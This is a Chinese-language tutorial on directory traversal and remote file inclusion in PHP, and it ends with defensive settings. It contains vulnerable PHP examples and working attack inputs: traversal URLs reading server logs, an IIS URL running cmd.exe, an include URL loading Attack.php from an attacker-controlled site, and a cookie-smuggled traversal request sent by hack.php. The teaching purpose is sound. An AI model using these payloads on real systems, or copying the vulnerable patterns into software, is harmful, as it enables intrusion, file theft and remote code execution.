目录/文件攻击防范策略研究

目录
0x1:目录穿越攻击
0x2:远程文件引入攻击
0x3:防范的方法


目录穿越攻击

目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意地存取被限制的文件夹、执行命令或查找数据。目录穿越攻击,也有人称为Path

Traversal攻击。

为了避免使用者存取到服务器上未经许可的文件,服务器提供两个安全机制:
(1)根目录
(2)文件存取权限

这些安全措施是为了避免黑客执行可执行文件,如Windows系统上的cmd.exe文件,以及避免黑客存取重要的文件,如UNIX系统上的passwd密码文件。

但是黑客可以使用目录穿越攻击,来查找、执行或存取Web应用程序所在的根目录以外的文件夹。如果目录穿越攻击成功,黑客就可以执行破坏性的命令来攻击网站。

目录穿越攻击可能发生在Web应用程序上,也可能发生在Web服务器上。在Web应用程序上发生的目录穿越攻击,是因为Web应用程序要求使用者输入文件名。例如将使用者的账号作为保存文件

的名称,当使用者输入账号后,程序会立即查找并打开指定用户名为文件名的文件。

例如:openfile.php
<?php
if(isset($_GET["file"]))
{
@readfile("home/users/".$_GET["file"]);
}
?>

openfile.php文件会读取一个文件名称,这个文件名称由URL参数fie所提供。readfile函数会输出文件的内容,@操作符用来屏蔽错误信息。

将这个文件名称与目录字符串"home/users"进行结合后,就是在Web应用程序所在的根目录下的文件路径。

Web应用程序所在的根目录是:
C:\AppServ\www\

假设使用者输入的文件名称是data.txt,那么data.txt文件的完整路径是:
C:\AppServ\www\home\users\data.txt

data.txt内容:目录穿越攻击(Directory Traversal Attack)

现在在浏览器的地址栏中输入下列地址:
http://localhost/openfile.php?file=data.txt

浏览器显示结果如下:
目录穿越攻击(Directory Traversal Attack)


目录穿越攻击实例:
刚才是正常的输入文件名称,现在要开始执行目录穿越攻击。在浏览器的地址栏输入下列地址:
http://localhost/openfile.php?file=../../Apache2.2/logs/access.log

此时,文件访问路径就变成了:C:\AppServ\Apache2.2\logs\access.log

这表明要打开Apache服务器内的日志文件access.log!服务器日志文件access.log应该是只能让网站管理员查看,但是黑客利用目录穿越攻击,就能够随便地打开、查看,甚至执行网站内的绝密文件。

再来看一个例子:
Microsoft的IIS服务器在4.0/5.0版本的时候曾经发生目录穿越攻击,在浏览器的地址栏中输入下面的地址:
http://localhost/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\
执行Windows的cmd.exe文件,cmd.exe是Windows的命令行程序(cmdshell)。输入这个地址后,会执行"dir c:\"命令来列出C:\目录中的所有文件。

在这个地址中,"%5c"是"\"字符的URL编码。IIS4.0/5.0没有将地址中特殊字符进行处理就直接显示,因此才会发生目录穿越攻击。


远程文件引入攻击(也叫远程文件调用(Remote Inclusion))

如果将php.ini文件中的allow_url_fopen设置为On,就可以将远程文件的URL当做是本机的文件来处理。并且可以将远程文件的URL发送给readfile,fopen等函数来处理。

要加载文件时,使用include函数:
include File_URL


远程文件引入攻击实例:

例如:include.php
<?php
if(isset($_GET["file"]))
{
@include($_GET["file"]);
readfile($_GET["file"]);
}
?>

include.php文件会读取一个文件名称,这个文件名称由URL参数file所提供。include语句会引入URL参数file所提供的文件名称,readfile函数会输出文件的内容,@用来屏蔽错误信息。

例如:beinclude.php
<?php
echo "hello milantgh";
?>

我们在浏览器输入:
http://localhost/include.php?file=http://localhost/beinclude.php

浏览器则显示:
hello milantgh

黑客要执行远程文件引入攻击时,他会在自己的网站www.milantgh.com内建立具有攻击性的PHP文件Attack.php,然后使用:
http://localhost/include.php?file=http://www.milantgh.com/Attack.php
此时,目标网站就会加载黑客的Attack.php文件并执行Attack.php文件


远程文件引入攻击与目录穿越攻击结合:

例如:com1.php
<?php
if(isset($_GET["file"]))
{
@include("home/users/".$_GET["file"]);
}
?>

这是将远程文件调用攻击与目录穿越攻击结合来进行攻击的代码。
远程文件调用攻击手法是:
@include("home/users/".$_GET["file"]);
而目录穿越攻击所用手法是:
http://localhost/com1.php?file=../../Apache2.2/logs/access.log

二者结合来进行攻击,更能产生强大的破坏力。


远程文件引入攻击与HTTP响应拆分攻击结合:

例如:com2.php
<?php
$menufile="menu.php";
if(isset($_COOKIE["MENUFILE"]))
{
$menufile=$_COOKIE["MENUFILE"];
}
@include("home/users/".$menufile);
?>

com2.php文件原本的作用是要调用menu.php文件,但是如果设置cookie变量$_COOKIE["MENUFILE"]的话,就引入$_COOKIE["MENUFILE"]变量所指的文件。

黑客可以利用com2.php文件读取cookie变量$_COOKIE["MENUFILE"]的值,在HTTP请求中加入Cookie表头来设置$_COOKIE["MENUFILE"]的值。

HTTP请求
GET /com2.php HTTP/1.1
Cookie:MENUFILE=../../Apache2.2/logs/access.log
Host:localhost

由于$_COOKIE["MENUFILE"]的值被这个HTTP请求设置为:
Cookie:MENUFILE=../../Apache2.2/logs/access.log

因此,com2.php文件读取的不再是menu.php文件内容,而是Apache服务器的access.log文件的内容。

也可以不使用Windows的Telnet程序,而改用hack.php文件来提交HTTP请求:
hack.php文件如下:
<?php
//打开Internet Socket连接
$fp=fsockopen("localhost", 80);
//写入HTTP请求的表头
fputs($fp, "GET /com2.php HTTP/1.1\r\n");
fputs($fp, "Cookie:MENUFILE=../../Apache2.2/logs/access.log\r\n");
fputs($fp, "Host:localhost\r\n\r\n");

//HTTP响应的字符串
$http_response="";

while(!feof($fp))
{
//读取128个字节的HTTP响应字符串
$http_response=fgets($fp, 128);
}

//关闭Internet Socket连接
fclose($fp);

//显示HTTP响应字符串
echo nl2br(htmlentities($http_response));
?>


防范的方法

要防范目录穿越与远程文件调用攻击,可以使用下列方法:
(1)不要使用使用者提供的文件名
(2)检查使用者输入的文件名中是否有".."的目录级层的字符
(3)php.ini文件中设置open_basedir来指定可以打开文件的目录
(4)php.ini文件中设置allow_url_fopen为Off,来让Web应用程序不能打开远程文件
(5)realpath与basename函数来处理使用者输入的文件名

你可能感兴趣的:(文件)